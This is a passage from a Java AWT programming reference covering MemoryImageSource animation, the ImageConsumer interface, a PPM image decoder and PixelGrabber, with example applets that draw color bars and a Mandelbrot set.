In Java 1.1, MemoryImageSource supports animation. One consequence of this new feature is that it isn't always possible to deliver all the image's data immediately. Therefore, the class maintains a list of image consumers that are notified when each frame is generated. Since this list is private, you do not have direct access to it.

public synchronized void addConsumer (ImageConsumer ic)

The addConsumer() method adds ic as an ImageConsumer interested in the pixels for this image.

public synchronized boolean isConsumer (ImageConsumer ic)

The isConsumer() method checks to see if ic is a registered ImageConsumer for this ImageProducer. If ic is registered, true is returned. If ic is not registered, false is returned.

public synchronized void removeConsumer (ImageConsumer ic)

The removeConsumer() method removes ic as a registered ImageConsumer for this ImageProducer.

public void startProduction (ImageConsumer ic)

The startProduction() method calls addConsumer().

public void requestTopDownLeftRightResend (ImageConsumer ic)

The requestTopDownLeftRightResend() method does nothing since in-memory images are already in this format or are multiframed, with each frame in this format.

Animation methods

In Java 1.1, MemoryImageSource supports animation; it can now pass multiple frames to interested image consumers. This feature mimics GIF89a's multiframe functionality. (If you have GIF89a animations, you can display them using getImage() and drawImage(); you don't have to build a complicated creature using MemoryImageSource.) . An animation example follows in Example 12.3 (later in this chapter).

public synchronized void setAnimated(boolean animated) (New)

The setAnimated() method notifies the MemoryImageSource if it will be in animation mode (animated is true) or not (animated is false). By default, animation is disabled; you must call this method to generate an image sequence. To prevent losing data, call this method immediately after calling the MemoryImageSource constructor.

public synchronized void setFullBufferUpdates(boolean fullBuffers) (New)

The setFullBufferUpdates() method controls how image updates are done during an animation. It is ignored if you are not creating an animation. If fullBuffers is true, this method tells the MemoryImageSource that it should always send all of an image's data to the consumers whenever it received new data (by a call to newPixels()). If fullBuffers is false, the MemoryImageSource sends only the changed portion of the image and notifies consumers (by a call to ImageConsumer.setHints()) that frames sent will be complete.

Like setAnimated(), setFullBufferUpdates() should be called immediately after calling the MemoryImageSource constructor, before the animation is started.

To do the actual animation, you update the image array pix[] that was specified in the constructor and call one of the overloaded newPixels() methods to tell the MemoryImageSource that you have changed the image data. The parameters to newPixels() determine whether you are animating the entire image or just a portion of the image. You can also supply a new array to take pixel data from, replacing pix[]. In any case, pix[] supplies the initial image data (i.e., the first frame of the animation).

If you have not called setAnimated(true), calls to any version of newPixels() are ignored.

public void newPixels() (New)

The version of newPixels() with no parameters tells the MemoryImageSource to send the entire pixel data (frame) to all the registered image consumers again. Data is taken from the original array pix[]. After the data is sent, the MemoryImageSource notifies consumers that a frame is complete by calling imageComplete(ImageConsumer.SINGLEFRAMEDONE), thus updating the display when the image is redisplayed. Remember that in many cases, you don't need to update the entire image; updating part of the image saves CPU time, which may be crucial for your application. To update part of the image, call one of the other versions of newPixels().

public synchronized void newPixels(int x, int y, int w, int h) (New)

This newPixels() method sends part of the image in the array pix[] to the consumers. The portion of the image sent has its upper left corner at the point (x, y), width w and height h, all in pixels. Changing part of the image rather than the whole thing saves considerably on system resources. Obviously, it is appropriate only if most of the image is still. For example, you could use this method to animate the steam rising from a cup of hot coffee, while leaving the cup itself static (an image that should be familiar to anyone reading JavaSoft's Web site). After the data is sent, consumers are notified that a frame is complete by a call to imageComplete(ImageConsumer.SINGLEFRAMEDONE), thus updating the display when the image is redisplayed.

If setFullBufferUpdates() was called, the entire image is sent, and the dimensions of the bounding box are ignored.

public synchronized void newPixels(int x, int y, int w, int h, boolean frameNotify) (New)

This newPixels() method is identical to the last, with one exception: consumers are notified that new image data is available only when frameNotify is true. This method allows you to generate new image data in pieces, updating the consumers only once when you are finished.

If setFullBufferUpdates() was called, the entire image is sent, and the dimensions of the bounding box are ignored.

public synchronized void newPixels(byte[] newpix, ColorModel newmodel, int offset, int scansize) (New)
public synchronized void newPixels(int[] newpix, ColorModel newmodel, int offset, int scansize) (New)

These newPixels() methods change the source of the animation to the byte or int array newpix[], with a ColorModel of newmodel. offset marks the beginning of the data in newpix to use, while scansize states the number of pixels in newpix per line of Image data. Future calls to other versions of newPixels() should modify newpix[] rather than pix[].

Using MemoryImageSource to create a static image

You can create an image by generating an integer or byte array in memory and converting it to an image with MemoryImageSource. The following MemoryImage applet generates two identical images that display a series of color bars from left to right. Although the images look the same, they were generated differently: the image on the left uses the default DirectColorModel; the image on the right uses an IndexColorModel.

Because the image on the left uses a DirectColorModel, it stores the actual color value of each pixel in an array of integers (rgbPixels[]). The image on the right can use a byte array (indPixels[]) because the IndexColorModel puts the color information in its color map instead of the pixel array; elements of the pixel array need to be large enough only to address the entries in this map. Images that are based on IndexColorModel are generally more efficient in their use of space (integer vs. byte arrays, although IndexColorModel requires small support arrays) and in performance (if you filter the image).

The output from this example is shown in Figure 12.2. The source is shown in Example 12.2.

Figure 12.2: MemoryImage applet output

[Graphic: Figure 12-2]

Example 12.2: MemoryImage Test Program

import java.applet.*;
import java.awt.*;
import java.awt.image.*;
public class MemoryImage extends Applet {
    Image i, j;
    int width = 200;
    int height = 200;
    public void init () {
        int rgbPixels[] = new int [width*height];
        byte indPixels[] = new byte [width*height];
        int index = 0;
        Color colorArray[] = {Color.red, Color.orange, Color.yellow,
                Color.green, Color.blue, Color.magenta};
        int rangeSize = width / colorArray.length;
        int colorRGB;
        byte colorIndex;
        byte reds[]   = new byte[colorArray.length];
        byte greens[] = new byte[colorArray.length];
        byte blues[]  = new byte[colorArray.length];
        for (int i=0;i<colorArray.length;i++) {
            reds[i]   = (byte)colorArray[i].getRed();
            greens[i] = (byte)colorArray[i].getGreen();
            blues[i]  = (byte)colorArray[i].getBlue();
        }
        for (int y=0;y<height;y++) {
            for (int x=0;x<width;x++) {
                if (x < rangeSize) {
                    colorRGB = Color.red.getRGB();
                    colorIndex = 0;
                } else if (x < (rangeSize*2)) {
                    colorRGB = Color.orange.getRGB();
                    colorIndex = 1;
                } else if (x < (rangeSize*3)) {
                    colorRGB = Color.yellow.getRGB();
                    colorIndex = 2;
                } else if (x < (rangeSize*4)) {
                    colorRGB = Color.green.getRGB();
                    colorIndex = 3;
                } else if (x < (rangeSize*5)) {
                    colorRGB = Color.blue.getRGB();
                    colorIndex = 4;
                } else {
                    colorRGB = Color.magenta.getRGB();
                    colorIndex = 5;
                }
                rgbPixels[index] = colorRGB;
                indPixels[index] = colorIndex;
                index++;
            }
        }
        i = createImage (new MemoryImageSource (width, height, rgbPixels,
            0, width));
        j = createImage (new MemoryImageSource (width, height,
            new IndexColorModel (8, colorArray.length, reds, greens, blues),
            indPixels, 0, width));
    }
    public void paint (Graphics g) {
        g.drawImage (i, 0, 0, this);
        g.drawImage (j, width+5, 0, this);
    }
}

Almost all of the work is done in init() (which, in a real applet, isn't a terribly good idea; ideally init() should be lightweight). Previously, we explained the color model's use for the images on the left and the right. Toward the end of init(), we create the images i and j by calling createImage() with a MemoryImageSource as the image producer. For image i, we used the simplest MemoryImageSource constructor, which uses the default RGB color model. For j, we called the IndexColorModel constructor within the MemoryImageSource constructor, to create a color map that has only six entries: one for each of the colors we use. Using MemoryImageSource for animation

As we've seen, Java 1.1 gives you the ability to create an animation using a MemoryImageSource by updating the image data in memory; whenever you have finished an update, you can send the resulting frame to the consumers. This technique gives you a way to do animations that consume very little memory, since you keep overwriting the original image. The applet in Example 12.3 demonstrates MemoryImageSource's animation capability by creating a Mandelbrot image in memory, updating the image as new points are added. Figure 12.3 shows the results, using four consumers to display the image four times.

Example 12.3: Mandelbrot Program

// Java 1.1 only
import java.awt.*;
import java.awt.image.*;
import java.applet.*;
public class Mandelbrot extends Applet implements Runnable {
    Thread animator;
    Image im1, im2, im3, im4;
    public void start() {
        animator = new Thread(this);
        animator.start();
    }
    public synchronized void stop() {
        animator = null;
    }
    public void paint(Graphics g) {
        if (im1 != null)
            g.drawImage(im1, 0, 0, null);
        if (im2 != null)
            g.drawImage(im2, 0, getSize().height / 2, null);
        if (im3 != null)
            g.drawImage(im3, getSize().width / 2, 0, null);
        if (im4 != null)
            g.drawImage(im4, getSize().width / 2, getSize().height / 2, null);
    }
    public void update (Graphics g) {
        paint (g);
    }
    public synchronized void run() {
        Thread.currentThread().setPriority(Thread.MIN_PRIORITY);
        int width = getSize().width / 2;
        int height = getSize().height / 2;
        byte[] pixels = new byte[width * height];
        int index = 0;
        int iteration=0;
        double a, b, p, q, psq, qsq, pnew, qnew;
        byte[] colorMap = {(byte)255, (byte)255, (byte)255, // white
                           (byte)0, (byte)0, (byte)0};      // black
        MemoryImageSource mis = new MemoryImageSource(
            width, height,
            new IndexColorModel (8, 2, colorMap, 0, false, -1),
            pixels, 0, width);
        mis.setAnimated(true);
        im1 = createImage(mis);
        im2 = createImage(mis);
        im3 = createImage(mis);
        im4 = createImage(mis);
        // Generate Mandelbrot
        final int ITERATIONS = 16;
        for (int y=0; y<height; y++) {
            b = ((double)(y-64))/32;
            for (int x=0; x<width; x++) {
                a = ((double)(x-64))/32;
                p=q=0;
                iteration = 0;
                while (iteration < ITERATIONS) {
                    psq = p*p;
                    qsq = q*q;
                    if ((psq + qsq) >= 4.0)
                        break;
                    pnew = psq - qsq + a;
                    qnew = 2*p*q+b;
                    p = pnew;
                    q = qnew;
                    iteration++;
                }
                if (iteration == ITERATIONS) {
                    pixels[index] = 1;
                    mis.newPixels(x, y, 1, 1);
                    repaint();
                }
                index++;
            }
        }
    }
}

Figure 12.3: Mandelbrot output

[Graphic: Figure 12-3]

Most of the applet in Example 12.3 should be self-explanatory. The init() method starts the thread in which we do our computation. paint() just displays the four images we create. All the work, including the computation, is done in the thread's run() method. run() starts by setting up a color map, creating a MemoryImageSource with animation enabled and creating four images using that source as the producer. It then does the computation, which I won't explain; for our purposes, the interesting part is what happens when we've computed a pixel. We set the appropriate byte in our data array, pixels[], and then call newPixels(), giving the location of the new pixel and its size (1 by 1) as arguments. Thus, we redraw the images for every new pixel. In a real application, you would probably compute a somewhat larger chunk of new data before updating the screen, but the same principles apply.

Previous | Home | Next
ColorModel | Book Index | ImageConsumer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 12] 12.4 ImageConsumer

Previous Chapter 12
Image Processing 		Next

12.4 ImageConsumer

The ImageConsumer interface specifies the methods that must be implemented to receive data from an ImageProducer. For the most part, that is the only context in which you need to know about the ImageConsumer interface. If you write an image producer, it will be handed a number of obscure objects, about which you know nothing except that they implement ImageConsumer, and that you can therefore call the methods discussed in this section to deliver your data. The chances that you will ever implement an image consumer are rather remote, unless you are porting Java to a new environment. It is more likely that you will want to subclass ImageFilter, in which case you may need to implement some of these methods. But most of the time, you will just need to know how to hand your data off to the next element in the chain.

The java.awt.image package includes two classes that implement ImageConsumer: PixelGrabber and ImageFilter (and its subclasses). These classes are unique in that they don't display anything on the screen. PixelGrabber takes the image data and stores it in a pixel array; you can use this array to save the image in a file, generate a new image, etc. ImageFilter, which is used in conjunction with FilteredImageSource, modifies the image data; the FilteredImageSource sends the modified image to another consumer, which can further modify or display the new image. When you draw an image on the screen, the JDK's ImageRepresentation class is probably doing the real work. This class is part of the sun.awt.image package. You really don't need to know anything about it, although you may see ImageRepresentation mentioned in a stack trace if you try to filter beyond the end of a pixel array.

ImageConsumer Interface

Constants

There are two sets of constants for ImageConsumer. One set represents those that can be used for the imageComplete() method. The other is used with the setHints() method. See the descriptions of those methods on how to use them.

The first set of flags is for the imageComplete() method:

public static final int IMAGEABORTED

The IMAGEABORTED flag signifies that the image creation process was aborted and the image is not complete. In the image production process, an abort could mean multiple things. It is possible that retrying the production would succeed.

public static final int IMAGEERROR

The IMAGEERROR flag signifies that an error was encountered during the image creation process and the image is not complete. In the image production process, an error could mean multiple things. More than likely, the image file or pixel data is invalid, and retrying won't succeed.

public static final int SINGLEFRAMEDONE

The SINGLEFRAMEDONE flag signifies that a frame other than the last has completed loading. There are additional frames to display, but a new frame is available and is complete. For an example of this flag in use, see the dynamic ImageFilter example in Example 12.8.

public static final int STATICIMAGEDONE

The STATICIMAGEDONE flag signifies that the image has completed loading. If this is a multiframe image, all frames have been generated. For an example of this flag in use, see the dynamic ImageFilter example in Example 12.8.

The following set of flags can be ORed together to form the single parameter to the setHints() method. Certain flags do not make sense set together, but it is the responsibility of the concrete ImageConsumer to enforce this.

public static final int COMPLETESCANLINES

The COMPLETESCANLINES flag signifies that each call to setPixels() will deliver at least one complete scan line of pixels to this consumer.

public static final int RANDOMPIXELORDER

The RANDOMPIXELORDER flag tells the consumer that pixels are not provided in any particular order. Therefore, the consumer cannot perform optimization that depends on pixel delivery order. In the absence of both COMPLETESCANLINES and RANDOMPIXELORDER, the ImageConsumer should assume pixels will arrive in RANDOMPIXELORDER.

public static final int SINGLEFRAME

The SINGLEFRAME flag tells the consumer that this image contains a single non-changing frame. This is the case with most image formats. An example of an image that does not contain a single frame is the multiframe GIF89a image.

public static final int SINGLEPASS

The SINGLEPASS flag tells the consumer to expect each pixel once and only once. Certain image formats, like progressive JPEG images, deliver a single image several times, with each pass yielding a sharper image.

public static final int TOPDOWNLEFTRIGHT

The final setHints() flag, TOPDOWNLEFTRIGHT, tells the consumer to expect the pixels in a top-down, left-right order. This flag will almost always be set.

Methods

The interface methods are presented in the order in which they are normally called by an ImageProducer.

void setDimensions (int width, int height)

The setDimensions() method should be called once the ImageProducer knows the width and height of the image. This is the actual width and height, not necessarily the scaled size. It is the consumer's responsibility to do the scaling and resizing.

void setProperties (Hashtable properties)

The setProperties() method should only be called by the ImageProducer if the image has any properties that should be stored for later retrieval with the getProperty() method of Image. Every image format has its own property set. One property that tends to be common is the "comment" property. properties represents the Hashtable of properties for the image; the name of each property is used as the Hashtable key.

void setColorModel (ColorModel model)

The setColorModel() method gives the ImageProducer the opportunity to tell the ImageConsumer that the ColorModel model will be used for the majority of pixels in the image. The ImageConsumer may use this information for optimization. However, each call to setPixels() contains its own ColorModel, which isn't necessarily the same as the color model given here. In other words, setColorModel() is only advisory; it does not guarantee that all (or any) of the pixels in the image will use this model. Using different color models for different parts of an image is possible, but not recommended.

void setHints (int hints)

An ImageProducer should call the setHints() method prior to any setPixels() calls. The hints are formed by ORing the constants COMPLETESCANLINES, RANDOMPIXELORDER, SINGLEFRAME, SINGLEPASS, and TOPDOWNLEFTRIGHT. These hints give the image consumer information about the order in which the producer will deliver pixels. When the ImageConsumer is receiving pixels, it can take advantage of these hints for optimization.

void setPixels (int x, int y, int width, int height, ColorModel model, byte pixels[], int offset, int scansize)

An ImageProducer calls the setPixels() method to deliver the image pixel data to the ImageConsumer. The bytes are delivered a rectangle at a time. (x, y) represents the top left corner of the rectangle; its dimensions are width x height. model is the ColorModel used for this set of pixels; different calls to setPixels() may use different color models. The pixels themselves are taken from the byte array pixels. offset is the first element of the pixel array that will be used. scansize is the length of the scan lines in the array. In most cases, you want the consumer to render all the pixels on the scan line; in this case, scansize will equal width. However, there are cases in which you want the consumer to ignore part of the scan line; you may be clipping an image, and the ends of the scan line fall outside the clipping region. In this case, rather than copying the pixels you want into a new array, you can specify a width that is smaller than scansize.

That's a lot of information, but it's easy to summarize. A pixel located at point (x1, y1) within the rectangle being delivered to the consumer is located at position ((y1 - y) * scansize + (x1 - x) + offset) within the array pixels[]. Figure 12.4 shows how the pixels delivered by setPixels() fit into the complete image; Figure 12.5 shows how pixels are stored within the array.

Figure 12.4: Delivering pixels for an image

[Graphic: Figure 12-4]

Figure 12.5: Storing pixels in an array

[Graphic: Figure 12-5]

void setPixels (int x, int y, int width, int height, ColorModel model, int pixels[], int offset, int scansize)

The second setPixels() method is similar to the first. pixels[] is an array of ints; this is necessary when you have more than eight bits of data per pixel.

void imageComplete (int status)

The ImageProducer calls imageComplete() to tell an ImageConsumer that it has transferred a complete image. The status argument is a flag that describes exactly why the ImageProducer has finished. It may have one of the following values: IMAGEABORTED (if the image production was aborted); IMAGEERROR (if an error in producing the image occurred); SINGLEFRAMEDONE (if a single frame of a multiframe image has been completed); or STATICIMAGEDONE (if all pixels have been delivered). When imageComplete() gets called, the ImageConsumer should call the image producer's removeConsumer() method, unless it wants to receive additional frames (status of SINGLEFRAMEDONE).

PPMImageDecoder

Now that we have discussed the ImageConsumer interface, we're finally ready to give an example of a full-fledged ImageProducer. This producer uses the methods of the ImageConsumer interface to communicate with image consumers; image consumers use the ImageProducer interface to register themselves with this producer.

Our image producer will interpret images in the PPM format.[1] PPM is a simple image format developed by Jef Poskanzer as part of the pbmplus image conversion package. A PPM file starts with a header consisting of the image type, the image's width and height in pixels, and the maximum value of any RGB component. The header is entirely in ASCII. The pixel data follows the header; it is either in binary (if the image type is P6) or ASCII (if the image type is P3). The pixel data is simply a series of bytes describing the color of each pixel, moving left to right and top to bottom. In binary format, each pixel is represented by three bytes: one for red, one for green, and one for blue. In ASCII format, each pixel is represented by three numeric values, separated by white space (space, tab, or newline). A comment may occur anywhere in the file, but it would be surprising to see one outside of the header. Comments start with # and continue to the end of the line. ASCII format files are obviously much larger than binary files. There is no compression on either file type.

[1] For more information about PPM and the pbmplus package, see Encyclopedia of Graphics File Formats, by James D. Murray and William VanRyper (from O'Reilly & Associates). See also http://www.acme.com/.

The PPMImageDecoder source is listed in Example 12--4. The applet that uses this class is shown in Example 12.5. You can reuse a lot of the code in the PPMImageDecoder when you implement your own image producers.

Example 12.4: PPMImageDecoder Source

import java.awt.*;
import java.awt.image.*;
import java.util.*;
import java.io.*;
public class PPMImageDecoder implements ImageProducer {
/* Since done in-memory, only one consumer */
    private ImageConsumer consumer;
    boolean loadError = false;
    int width;
    int height;
    int store[][];
    Hashtable props = new Hashtable();
/* Format of Ppm file is single pass/frame, w/ complete scan lines in order */
    private static int PpmHints = (ImageConsumer.TOPDOWNLEFTRIGHT |
                                   ImageConsumer.COMPLETESCANLINES |
                                   ImageConsumer.SINGLEPASS |
                                   ImageConsumer.SINGLEFRAME);

The class starts by declaring class variables and constants. We will use the variable PpmHints when we call setHints(). Here, we set this variable to a collection of "hint" constants that indicate we will produce pixel data in top-down, left-right order; we will always send complete scan lines; we will make only one pass over the pixel data (we will send each pixel once); and there is one frame per image (i.e., we aren't producing a multiframe sequence).

The next chunk of code implements the ImageProducer interface; consumers use it to request image data:

/* There is only a single consumer. When it registers, produce image. */
/* On error, notify consumer. */
    public synchronized void addConsumer (ImageConsumer ic) {
        consumer = ic;
        try {
            produce();
        }catch (Exception e) {
            if (consumer != null)
                consumer.imageComplete (ImageConsumer.IMAGEERROR);
        }
        consumer = null;
    }
/* If consumer passed to routine is single consumer, return true, else false. */
    public synchronized boolean isConsumer (ImageConsumer ic) {
        return (ic == consumer);
    }
/* Disables consumer if currently consuming. */
    public synchronized void removeConsumer (ImageConsumer ic) {
        if (consumer == ic)
            consumer = null;
    }
/* Production is done by adding consumer. */
    public void startProduction (ImageConsumer ic) {
        addConsumer (ic);
    }
    public void requestTopDownLeftRightResend (ImageConsumer ic) {
        // Not needed.  The data is always in this format.
    }

The previous group of methods implements the ImageProducer interface. They are quite simple, largely because of the way this ImageProducer generates images. It builds the image in memory before delivering it to the consumer; you must call the readImage() method (discussed shortly) before you can create an image with this consumer. Because the image is in memory before any consumers can register their interest, we can write an addConsumer() method that registers a consumer and delivers all the data to that consumer before returning. Therefore, we don't need to manage a list of consumers in a Hashtable or some other collection object. We can store the current consumer in an instance variable ic and forget about any others: only one consumer exists at a time. To make sure that only one consumer exists at a time, we synchronize the addConsumer(), isConsumer(), and removeConsumer() methods. Synchronization prevents another consumer from registering itself before the current consumer has finished. If you write an ImageProducer that builds the image in memory before delivering it, you can probably use this code verbatim.

addConsumer() is little more than a call to the method produce(), which handles "consumer relations": it delivers the pixels to the consumer using the methods in the ImageConsumer interface. If produce() throws an exception, addConsumer() calls imageComplete() with an IMAGEERROR status code. Here's the code for the produce() method:

/* Production Process:
        Prerequisite: Image already read into store array. (readImage)
                      props / width / height already set (readImage)
        Assumes RGB Color Model - would need to filter to change.
        Sends Ppm Image data to consumer.
        Pixels sent one row at a time.
*/
    private void produce () {
        ColorModel cm = ColorModel.getRGBdefault();
        if (consumer != null) {
            if (loadError) {
                consumer.imageComplete (ImageConsumer.IMAGEERROR);
            } else {
                consumer.setDimensions (width, height);
                consumer.setProperties (props);
                consumer.setColorModel (cm);
                consumer.setHints (PpmHints);
                for (int j=0;j<height;j++)
                    consumer.setPixels (0, j, width, 1, cm, store[j], 0, width);
                consumer.imageComplete (ImageConsumer.STATICIMAGEDONE);
            }
        }
    }

produce() just calls the ImageConsumer methods in order: it sets the image's dimensions, hands off an empty Hashtable of properties, sets the color model (the default RGB model) and the hints, and then calls setPixels() once for each row of pixel data. The data is in the integer array store[][], which has already been loaded by the readImage() method (defined in the following code). When the data is delivered, the method setPixels() calls imageComplete() to indicate that the image has been finished successfully.

/* Allows reading to be from internal byte array, in addition to disk/socket */
    public void readImage (byte b[]) {
        readImage (new ByteArrayInputStream (b));
    }
/* readImage reads image data from Stream */
/* parses data for PPM format             */
/* closes inputstream when done           */
    public void readImage (InputStream is) {
        long tm = System.currentTimeMillis();
        boolean raw=false;
        DataInputStream dis = null;
        BufferedInputStream bis = null;
        try {
            bis = new BufferedInputStream (is);
            dis = new DataInputStream (bis);
            String word;
            word = readWord (dis);
            if ("P6".equals (word)) {
                raw = true;
            } else if ("P3".equals (word)) {
                raw = false;
            } else {
                throw (new AWTException ("Invalid Format " + word));
            }
            width = Integer.parseInt (readWord (dis));
            height = Integer.parseInt (readWord (dis));
            // Could put comments in props - makes readWord more complex
            int maxColors = Integer.parseInt (readWord (dis));
            if ((maxColors < 0) || (maxColors > 255)) {
                throw (new AWTException ("Invalid Colors " + maxColors));
            }
            store = new int[height][width];
            if (raw) {                   // binary format (raw) pixel data
                byte row[] = new byte [width*3];
                for (int i=0;i<height;i++){
                    dis.readFully (row);
                    for (int j=0,k=0;j<width;j++,k+=3) {
                        int red = row[k];
                        int green = row[k+1];
                        int blue = row[k+2];
                        if (red < 0)
                            red +=256;
                        if (green < 0)
                            green +=256;
                        if (blue < 0)
                            blue +=256;
                        store[i][j] = (0xff<< 24) | (red << 16) |
                                      (green << 8) | blue;
                    }
                }
            } else {                     // ASCII pixel data
                for (int i=0;i<height;i++) {
                    for (int j=0;j<width;j++) {
                        int red = Integer.parseInt (readWord (dis));
                        int green = Integer.parseInt (readWord (dis));
                        int blue = Integer.parseInt (readWord (dis));
                        store[i][j] = (0xff<< 24) | (red << 16) |
                                      (green << 8) | blue;
                    }
                }
            }
        } catch (IOException io) {
            loadError = true;
            System.out.println ("IO Exception " + io.getMessage());
        } catch (AWTException awt) {
            loadError = true;
            System.out.println ("AWT Exception " + awt.getMessage());
        } catch (NoSuchElementException nse) {
            loadError = true;
            System.out.println ("No Such Element Exception " + nse.getMessage());
        } finally {
            try {
                if (dis != null)
                    dis.close();
                if (bis != null)
                    bis.close();
                if (is != null)
                    is.close();
            } catch (IOException io) {
                System.out.println ("IO Exception " + io.getMessage());
            }
        }
        System.out.println ("Done in " + (System.currentTimeMillis() - tm)
                            + " ms");
    }

readImage() reads the image data from an InputStream and converts it into the array of pixel data that produce() transfers to the consumer. Code using this class must call readImage() to process the data before calling createImage(); we'll see how this works shortly. Although there is a lot of code in readImage(), it's fairly simple. (It would be much more complex if we were dealing with an image format that compressed the data.) It makes heavy use of readWord(), a utility method that we'll discuss next; readWord() returns a word of ASCII text as a string.

readImage() starts by converting the InputStream into a DataInputStream. It uses readWord() to get the first word from the stream. This should be either "P6" or "P3", depending on whether the data is in binary or ASCII. It then uses readWord() to save the image's width and height and the maximum value of any color component. Next, it reads the color data into the store[][] array. The ASCII case is simple because we can use readWord() to read ASCII words conveniently; we read red, green, and blue words, convert them into ints, and pack the three into one element (one pixel) of store[][]. For binary data, we read an entire scan line into the byte array row[], using readFully(); then we start a loop that packs this scan line into one row of store[][]. A little additional complexity is in the inner loop because we must keep track of two arrays (row[] and store[][]). We read red, green, and blue components from row[], converting Java's signed bytes to unsigned data by adding 256 to any negative values; finally, we pack these components into one element of store[][].

/* readWord returns a word of text from stream          */
/* Ignores PPM comment lines.                           */
/* word defined to be something wrapped by whitespace   */
    private String readWord (InputStream is) throws IOException {
        StringBuffer buf = new StringBuffer();
        int b;
        do {// get rid of leading whitespace
            if ((b=is.read()) == -1)
                throw new EOFException();
            if ((char)b == '#') { // read to end of line - ppm comment
                DataInputStream dis = new DataInputStream (is);
                dis.readLine();
                b = ' ';  // ensure more reading
            }
        }while (Character.isSpace ((char)b));
        do {
            buf.append ((char)(b));
            if ((b=is.read()) == -1)
                throw new EOFException();
        } while (!Character.isSpace ((char)b));  // reads first space
        return buf.toString();
    }
}

readWord() is a utility method that reads one ASCII word from an InputStream. A word is a sequence of characters that aren't spaces; space characters include newlines and tabs in addition to spaces. This method also throws out any comments (anything between # and the end of the line). It collects the characters into a StringBuffer, converting the StringBuffer into a String when it returns.

Example 12.5: PPMImageDecoder Test Program

import java.awt.Graphics;
import java.awt.Color;
import java.awt.image.ImageConsumer;
import java.awt.Image;
import java.awt.MediaTracker;
import java.net.URL;
import java.net.MalformedURLException;
import java.io.InputStream;
import java.io.IOException;
import java.applet.Applet;
public class ppmViewer extends Applet {
    Image image = null;
    public void init () {
        try {
            String file = getParameter ("file");
            if (file != null) {
                URL imageurl = new URL (getDocumentBase(), file);
                InputStream is = imageurl.openStream();
                PPMImageDecoder ppm = new PPMImageDecoder ();
                ppm.readImage (is);
                image = createImage (ppm);
                repaint();
            }
        } catch (MalformedURLException me) {
            System.out.println ("Bad URL");
         } catch (IOException io) {
            System.out.println ("Bad File");
        }
    }
    public void paint (Graphics g) {
        g.drawImage (image, 0, 0, this);
    }
}

The applet we use to test our ImageProducer is very simple. It creates a URL that points to an appropriate PPM file and gets an InputStream from that URL. It then creates an instance of our PPMImageDecoder; calls readImage() to load the image and generate pixel data; and finally, calls createImage() with our ImageProducer as an argument to create an Image object, which we draw in paint().

PixelGrabber

The PixelGrabber class is a utility for converting an image into an array of pixels. This is useful in many situations. If you are writing a drawing utility that lets users create their own graphics, you probably want some way to save a drawing to a file. Likewise, if you're implementing a shared whiteboard, you'll want some way to transmit images across the Net. If you're doing some kind of image processing, you may want to read and alter individual pixels in an image. The PixelGrabber class is an ImageConsumer that can capture a subset of the current pixels of an Image. Once you have the pixels, you can easily save the image in a file, send it across the Net, or work with individual points in the array. To recreate the Image (or a modified version), you can pass the pixel array to a MemoryImageSource.

Prior to Java 1.1, PixelGrabber saves an array of pixels but doesn't save the image's width and height--that's your responsibility. You may want to put the width and height in the first two elements of the pixel array and use an offset of 2 when you store (or reproduce) the image.

Starting with Java 1.1, the grabbing process changes in several ways. You can ask the PixelGrabber for the image's size or color model. You can grab pixels asynchronously and abort the grabbing process before it is completed. Finally, you don't have to preallocate the pixel data array. Constructors

public PixelGrabber (ImageProducer ip, int x, int y, int width, int height, int pixels[], int offset, int scansize)

The first PixelGrabber constructor creates a new PixelGrabber instance. The PixelGrabber uses ImageProducer ip to store the unscaled cropped rectangle at position (x, y) of size width x height into the pixels array, starting at offset within pixels, and each row starting at increments of scansize from that.

As shown in Figure 12.5, the position (x1, y1) would be stored in pixels[] at position (y1 - y) * scansize + (x1 - x) + offset. Calling grabPixels() starts the process of writing pixels into the array.

The ColorModel for the pixels copied into the array is always the default RGB model: that is, 32 bits per pixel, with 8 bits for alpha, red, green, and blue components.

public PixelGrabber (Image image, int x, int y, int width, int height, int pixels[], int offset, int scansize)

This version of the PixelGrabber constructor gets the ImageProducer of the Image image through getSource(); it then calls the previous constructor to create the PixelGrabber.

public PixelGrabber (Image image, int x, int y, int width, int height, boolean forceRGB) (New)

This version of the constructor does not require you to preallocate the pixel array and lets you preserve the color model of the original image. If forceRGB is true, the pixels of image are converted to the default RGB model when grabbed. If forceRGB is false and all the pixels of image use one ColorModel, the original color model of image is preserved.

As with the other constructors, the x, y, width, and height values define the bounding box to grab. However, there's one special case to consider. Setting width or height to -1 tells the PixelGrabber to take the width and height from the image itself. In this case, the grabber stores all the pixels below and to the right of the point (x, y). If (x, y) is outside of the image, you get an empty array.

Once the pixels have been grabbed, you get the pixel data via the getPixels() method described in "Other methods." To get the ColorModel, see the getColorModel() method.

ImageConsumer interface methods

public void setDimensions (int width, int height)

In Java 1.0, the setDimensions() method of PixelGrabber ignores the width and height, since this was set by the constructor.

With Java 1.1, setDimensions() is called by the image producer to give it the dimensions of the original image. This is how the PixelGrabber finds out the image's size if the constructor specified -1 for the image's width or height.

public void setHints (int hints)

The setHints() method ignores the hints.

public void setProperties (Hashtable properties)

The setProperties() method ignores the properties.

public void setColorModel (ColorModel model)

The setColorModel() method ignores the model.

public void setPixels (int x, int y, int w, int h, ColorModel model, byte pixels[], int offset, int scansize)

The setPixels() method is called by the ImageProducer to deliver pixel data for some image. If the pixels fall within the portion of the image that the PixelGrabber is interested in, they are stored within the array passed to the PixelGrabber constructor. If necessary, the ColorModel is used to convert each pixel from its original representation to the default RGB representation. This method is called when each pixel coming from the image producer is represented by a byte.

public void setPixels (int x, int y, int w, int h, ColorModel model, int pixels[], int offset, int scansize)

The second setPixels() method is almost identical to the first; it is used when each pixel coming from the image producer is represented by an int.

public synchronized void imageComplete (int status)

The imageComplete() method uses status to determine if the pixels were successfully delivered. The PixelGrabber then notifies anyone waiting for the pixels from a grabPixels() call.

Grabbing methods

public synchronized boolean grabPixels (long ms) throws InterruptedException

The grabPixels() method starts storing pixel data from the image. It doesn't return until all pixels have been loaded into the pixels array or until ms milliseconds have passed. The return value is true if all pixels were successfully acquired. Otherwise, it returns false for the abort, error, or timeout condition encountered. The exception InterruptedException is thrown if another thread interrupts this one while waiting for pixel data.

public boolean grabPixels () throws InterruptedException

This grabPixels() method starts storing pixel data from the image. It doesn't return until all pixels have been loaded into the pixels array. The return value is true if all pixels were successfully acquired. It returns false if it encountered an abort or error condition. The exception InterruptedException is thrown if another thread interrupts this one while waiting for pixel data.

public synchronized void startGrabbing() (New)

